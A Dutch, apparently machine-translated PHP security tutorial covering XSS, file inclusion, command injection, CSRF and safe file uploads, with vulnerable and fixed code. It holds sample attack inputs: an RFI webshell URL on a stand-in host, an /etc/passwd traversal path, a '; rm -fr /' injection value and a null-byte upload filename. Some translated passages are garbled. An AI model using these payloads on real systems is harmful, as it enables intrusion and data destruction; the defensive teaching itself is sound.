PHP
Veiligheid
Zoeken…
Invoering
Aangezien de meeste websites PHP uitvoeren, is applicatiebeveiliging een belangrijk onderwerp voor PHP-ontwikkelaars om hun website, gegevens en klanten te beschermen. Dit onderwerp behandelt de beste beveiligingspraktijken in PHP en veelvoorkomende kwetsbaarheden en zwakke punten met voorbeeldfixes in PHP.
Opmerkingen
Zie ook
Foutmelding
Standaard zal PHP fouten , waarschuwingen en berichtberichten direct op de pagina weergeven als er iets onverwachts in een script gebeurt. Dit is handig voor het oplossen van specifieke problemen met een script, maar geeft tegelijkertijd informatie weer waarvan u niet wilt dat uw gebruikers het weten.
Het is daarom een goede gewoonte om te voorkomen dat berichten worden weergegeven die informatie over uw server onthullen, zoals uw directorystructuur, bijvoorbeeld in productieomgevingen. In een ontwikkel- of testomgeving kunnen deze berichten nog steeds nuttig zijn om weer te geven voor foutopsporing.
Een snelle oplossing
Je kunt ze uitschakelen zodat de berichten helemaal niet verschijnen, maar dit maakt het debuggen van je script moeilijker.
<?php
ini_set("display_errors", "0");
?>
Of verander ze rechtstreeks in php.ini .
display_errors = 0
Fouten afhandelen
Een betere optie zou zijn om die foutmeldingen op te slaan op een plaats waar ze nuttiger zijn, zoals een database:
set_error_handler(function($errno , $errstr, $errfile, $errline){
try{
$pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
throw new Exception('Unable to execute query');
}
} else {
throw new Exception('Unable to prepare query');
}
} catch (Exception $e){
error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
}
});
Met deze methode worden de berichten in de database vastgelegd en als dat niet lukt een bestand in plaats van het rechtstreeks naar de pagina te echoën. Op deze manier kunt u bijhouden wat gebruikers op uw website ervaren en u onmiddellijk op de hoogte stellen als er iets misgaat.
Cross-Site Scripting (XSS)
Probleem
Cross-site scripting is de onbedoelde uitvoering van externe code door een webclient. Elke webtoepassing kan zichzelf blootstellen aan XSS als deze invoer van een gebruiker nodig heeft en deze rechtstreeks op een webpagina uitvoert. Als invoer HTML of JavaScript bevat, kan externe code worden uitgevoerd wanneer deze inhoud wordt weergegeven door de webclient.
Als een externe partij bijvoorbeeld een JavaScript- bestand bevat:
// http://example.com/runme.js
document.write("I'm running");
En een PHP-applicatie voert direct een string uit die erin wordt doorgegeven:
<?php
echo '<div>' . $_GET['input'] . '</div>';
Als een niet-aangevinkte GET-parameter <script src="http://example.com/runme.js"></script>
is de uitvoer van het PHP-script:
<div><script src="http://example.com/runme.js"></script></div>
De JavaScript van derden wordt uitgevoerd en de gebruiker ziet "Ik ben actief" op de webpagina.
Oplossing
Vertrouw in de regel nooit op input van een klant. Elke GET, POST en cookiewaarde kan alles zijn en moet daarom worden gevalideerd. Ontsnap bij het uitvoeren van een van deze waarden zodat ze niet op een onverwachte manier worden geëvalueerd.
Houd er rekening mee dat zelfs in de eenvoudigste toepassingen gegevens kunnen worden verplaatst en het moeilijk zal zijn om alle bronnen bij te houden. Daarom is het een goede gewoonte om altijd aan de output te ontsnappen.
PHP biedt een paar manieren om output te ontsnappen, afhankelijk van de context.
Filterfuncties
Met PHPs-filterfuncties kunnen de invoergegevens naar het php-script op vele manieren worden opgeschoond of gevalideerd . Ze zijn handig bij het opslaan of uitvoeren van client-invoer.
HTML-codering
htmlspecialchars
converteert "HTML-speciale tekens" naar hun HTML-codering, wat betekent dat ze dan niet worden verwerkt als standaard HTML. Om ons vorige voorbeeld met deze methode te corrigeren:
<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';
Zou uitvoeren:
<div><script src="http://example.com/runme.js"></script></div>
Alles in de tag <div>
wordt door de browser niet als een JavaScript-tag geïnterpreteerd, maar als een eenvoudig tekstknooppunt. De gebruiker ziet veilig:
<script src="http://example.com/runme.js"></script>
URL-codering
Bij het uitvoeren van een dynamisch gegenereerde URL biedt PHP de urlencode
functie voor het veilig uitvoeren van geldige URL's. Dus als een gebruiker bijvoorbeeld gegevens kan invoeren die onderdeel worden van een andere GET-parameter:
<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';
Alle kwaadwillende invoer wordt geconverteerd naar een gecodeerde URL-parameter.
Het gebruik van gespecialiseerde externe bibliotheken of OWASP AntiSamy-lijsten
Soms wilt u HTML of andere code-invoer verzenden. U moet een lijst met geautoriseerde woorden (witte lijst) en niet-geautoriseerde (zwarte lijst) bijhouden.
U kunt standaardlijsten downloaden die beschikbaar zijn op de OWASP AntiSamy-website . Elke lijst is geschikt voor een specifiek soort interactie (ebay api, tinyMCE, enz ...). En het is open source.
Er zijn bibliotheken om HTML te filteren en XSS-aanvallen voor het algemene geval te voorkomen en ten minste even goed als AntiSamy-lijsten met zeer eenvoudig gebruik uit te voeren. U hebt bijvoorbeeld HTML Purifier
Bestandsopname
Externe bestandsopname
Externe bestandsopname (ook bekend als RFI) is een type kwetsbaarheid waarmee een aanvaller een extern bestand kan opnemen.
In dit voorbeeld wordt een op afstand gehost bestand met een schadelijke code geïnjecteerd:
<?php
include $_GET['page'];
/vulnerable.php?page= http://evil.example.com/webshell.txt ?
Opname van lokaal bestand
Lokale bestandsopname (ook bekend als LFI) is het proces van het opnemen van bestanden op een server via de webbrowser.
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd
Oplossing voor RFI & LFI:
Het wordt aanbevolen om alleen bestanden toe te staan die u hebt goedgekeurd en deze te beperken.
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}
Opdrachtregelinjectie
Probleem
Op dezelfde manier als met SQL-injectie een aanvaller in staat stelt willekeurige query's op een database uit te voeren, kan met opdrachtregelinjectie niet-vertrouwde systeemopdrachten op een webserver worden uitgevoerd. Met een onjuist beveiligde server zou dit een aanvaller volledige controle over een systeem geven.
Laten we zeggen dat een gebruiker bijvoorbeeld de inhoud van een map op een webserver kan weergeven.
<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>
(In een real-world applicatie zou men PHP's ingebouwde functies of objecten gebruiken om padinhoud te krijgen. Dit voorbeeld is voor een eenvoudige beveiligingsdemonstratie.)
Men zou hopen een path
te krijgen vergelijkbaar met /tmp
. Maar aangezien elke invoer is toegestaan, zou het path
kunnen zijn ; rm -fr /
. De webserver voert vervolgens de opdracht uit
ls; rm -fr /
en probeer alle bestanden uit de root van de server te verwijderen.
Oplossing
Alle opdrachtargumenten moeten worden escaped met escapeshellarg()
of escapeshellcmd()
. Dit maakt de argumenten niet uitvoerbaar. Voor elke parameter moet de invoerwaarde ook worden gevalideerd .
In het eenvoudigste geval kunnen we ons voorbeeld veilig stellen
<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>
Naar aanleiding van het vorige voorbeeld met de poging om bestanden te verwijderen, wordt de uitgevoerde opdracht
ls '; rm -fr /'
En de string wordt gewoon doorgegeven als parameter aan ls
, in plaats van het commando ls
beëindigen en rm
.
Opgemerkt moet worden dat het bovenstaande voorbeeld nu beveiligd is tegen opdrachtinjectie, maar niet tegen directory-traversal. Om dit op te lossen, moet worden gecontroleerd dat het genormaliseerde pad begint met de gewenste submap.
PHP biedt verschillende functies voor het uitvoeren van systeemopdrachten, waaronder exec
, passthru
, proc_open
, shell_exec
en system
. Allen moeten zorgvuldig worden gevalideerd en ontsnapt.
PHP-versie Lekkage
Standaard zal PHP de wereld vertellen welke versie van PHP u gebruikt, bijv
X-Powered-By: PHP/5.3.8
Om dit op te lossen, kunt u php.ini wijzigen:
expose_php = off
Of wijzig de koptekst:
header("X-Powered-By: Magic");
Of als u liever een htaccess-methode gebruikt:
Header unset X-Powered-By
Als een van de bovenstaande methoden niet werkt, is er ook de functie header_remove()
waarmee u de koptekst kunt verwijderen:
header_remove('X-Powered-By');
Als aanvallers weten dat u PHP gebruikt en de versie van PHP die u gebruikt, is het voor hen gemakkelijker om uw server te exploiteren.
Tags verwijderen
strip_tags
is een zeer krachtige functie als je weet hoe je het moet gebruiken. Als methode om cross-site scripting-aanvallen te voorkomen, zijn er betere methoden, zoals tekencodering, maar in sommige gevallen is het verwijderen van tags nuttig.
Basis voorbeeld
$string = '<b>Hello,<> please remove the <> tags.</b>';
echo strip_tags($string);
Ruwe uitvoer
Hello, please remove the tags.
Tags toestaan
Stel dat u een bepaalde tag wilt toestaan, maar geen andere tags, dan geeft u dat op in de tweede parameter van de functie. Deze parameter is optioneel. In mijn geval wil ik alleen dat de tag <b>
wordt doorgegeven.
$string = '<b>Hello,<> please remove the <br> tags.</b>';
echo strip_tags($string, '<b>');
Ruwe uitvoer
<b>Hello, please remove the tags.</b>
Mededelingen)
HTML
opmerkingen en PHP
tags worden ook gestript. Dit is hardgecodeerd en kan niet worden gewijzigd met allowable_tags.
In PHP
5.3.4 en hoger worden zelfsluitende XHTML
tags genegeerd en moeten alleen niet-zelfsluitende tags worden gebruikt in allowable_tags. Als u bijvoorbeeld zowel <br>
als <br/>
wilt toestaan, moet u het volgende gebruiken:
<?php
strip_tags($input, '<br>');
?>
Cross-site aanvraag vervalsing
Probleem
Cross-Site Request Forgery of CSRF
kan een eindgebruiker dwingen om onbewust kwaadwillende verzoeken naar een webserver te genereren. Deze aanvalsvector kan worden gebruikt in zowel POST- als GET-aanvragen. Laten we bijvoorbeeld zeggen dat het URL-eindpunt /delete.php?accnt=12
account verwijdert als doorgegeven van de accnt
parameter van een GET-verzoek. Als een geverifieerde gebruiker het volgende script in een andere toepassing tegenkomt
<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">
het account zou worden verwijderd.
Oplossing
Een gebruikelijke oplossing voor dit probleem is het gebruik van CSRF-tokens . CSRF-tokens zijn ingebed in aanvragen, zodat een webtoepassing erop kan vertrouwen dat een aanvraag afkomstig was van een verwachte bron als onderdeel van de normale workflow van de toepassing. Eerst voert de gebruiker een actie uit, zoals het bekijken van een formulier, waardoor een uniek token wordt gemaakt. Een voorbeeld van een implementatie hiervan kan eruit zien
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<randomToken>" />
<input type="submit" />
</form>
Het token kan vervolgens door de server worden gevalideerd tegen de gebruikerssessie na het indienen van het formulier om schadelijke verzoeken te elimineren.
Voorbeeldcode
Hier is voorbeeldcode voor een basisimplementatie:
/* Code to generate a CSRF token and store the same */
...
<?php
session_start();
function generate_token() {
// Check if a token is present for the current session
if(!isset($_SESSION["csrf_token"])) {
// No token present, generate a new one
$token = random_bytes(64);
$_SESSION["csrf_token"] = $token;
} else {
// Reuse the token
$token = $_SESSION["csrf_token"];
}
return $token;
}
?>
<body>
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
<input type="submit" />
</form>
</body>
...
/* Code to validate token and drop malicious requests */
...
<?php
session_start();
if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
// Reset token
unset($_SESSION["csrf_token"]);
die("CSRF token validation failed");
}
?>
...
Er zijn al veel bibliotheken en frameworks beschikbaar die hun eigen implementatie van CSRF-validatie hebben. Hoewel dit de eenvoudige implementatie van CSRF is, moet u wat code schrijven om uw CSRF-token dynamisch te regenereren om te voorkomen dat CSRF-token wordt gestolen en gefixeerd.
Bestanden uploaden
Als u wilt dat gebruikers bestanden naar uw server uploaden, moet u een aantal beveiligingscontroles uitvoeren voordat u het geüploade bestand daadwerkelijk naar uw webmap verplaatst.
De geüploade gegevens:
Deze array bevat door de gebruiker ingediende gegevens en is geen informatie over het bestand zelf. Hoewel deze gegevens meestal door de browser worden gegenereerd, kan men eenvoudig een postverzoek naar hetzelfde formulier doen met behulp van software.
$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
-
name
- Controleer elk aspect ervan. -
type
- Gebruik deze gegevens nooit. Het kan worden opgehaald met behulp van PHP-functies. -
size
- Veilig in gebruik. -
tmp_name
- Veilig te gebruiken.
De bestandsnaam exploiteren
Normaal gesproken staat het besturingssysteem geen specifieke tekens in een bestandsnaam toe, maar door het verzoek te vervalsen, kunt u ze toevoegen zodat onverwachte dingen kunnen gebeuren. Laten we bijvoorbeeld het bestand een naam geven:
../script.php%00.png
Kijk goed naar die bestandsnaam en je zou een paar dingen moeten opmerken.
- De eerste die opmerkt is de
../
, volledig illegaal in een bestandsnaam en tegelijkertijd prima als je een bestand van de ene map naar de andere verplaatst, wat we goed doen? - Nu zou je denken dat je de bestandsextensies goed in je script verifieerde, maar deze exploit is afhankelijk van de URL-decodering, waarbij
%00
wordt vertaald naar eennull
teken, in feite zeggend tegen het besturingssysteem, deze tekenreeks eindigt hier en verwijdert.png
van de bestandsnaam .
Dus nu heb ik script.php
geüpload naar een andere map, waarbij ik eenvoudige validaties omzeil naar bestandsextensies. Het .htaccess
ook .htaccess
bestanden waardoor scripts niet kunnen worden uitgevoerd vanuit uw uploadmap.
Bestandsnaam en extensie veilig ophalen
U kunt pathinfo()
om de naam en extensie op een veilige manier te extrapoleren, maar eerst moeten we ongewenste tekens in de bestandsnaam vervangen:
// This array contains a list of characters not allowed in a filename
$illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename = str_replace($illegal, "-", $_FILES['file']['name']);
$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';
if(!empty($extension) && !empty($filename)){
echo $filename, $extension;
} else {
die('file is missing an extension or name');
}
Hoewel we nu een bestandsnaam en extensie hebben die kunnen worden gebruikt voor het opslaan, geef ik nog steeds de voorkeur aan het opslaan van die informatie in een database en geef ik dat bestand een gegenereerde naam van bijvoorbeeld md5(uniqid().microtime())
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title | extension | mime | size | filename | time |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
Dit zou het probleem van dubbele bestandsnamen en onvoorziene exploits in de bestandsnaam oplossen. Het zou er ook voor zorgen dat de aanvaller raadt waar dat bestand is opgeslagen, omdat hij het niet specifiek kan richten op uitvoering.
Mime-type validatie
Het controleren van een bestandsextensie om te bepalen welk bestand het is, is niet voldoende omdat een bestand image.png
kan image.png
maar het kan heel goed een php-script bevatten. Door het mime-type van het geüploade bestand te vergelijken met een bestandsextensie, kunt u controleren of het bestand bevat waarnaar de naam verwijst.
Je kunt zelfs 1 stap verder gaan om afbeeldingen te valideren, en dat is ze eigenlijk openen:
if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
if($img = imagecreatefromjpeg($filename)){
imagedestroy($img);
} else {
die('image failed to open, could be corrupt or the file contains something else.');
}
}
Je kunt het mime-type ophalen met een ingebouwde functie of een klasse .
Wit met uw uploads
Het belangrijkste is dat u bestandsextensies en mime-typen op de witte lijst plaatst, afhankelijk van elke vorm.
function isFiletypeAllowed($extension, $mime, array $allowed)
{
return isset($allowed[$mime]) &&
is_array($allowed[$mime]) &&
in_array($extension, $allowed[$mime]);
}
$allowedFiletypes = [
'image/png' => [ 'png' ],
'image/gif' => [ 'gif' ],
'image/jpeg' => [ 'jpg', 'jpeg' ],
];
var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));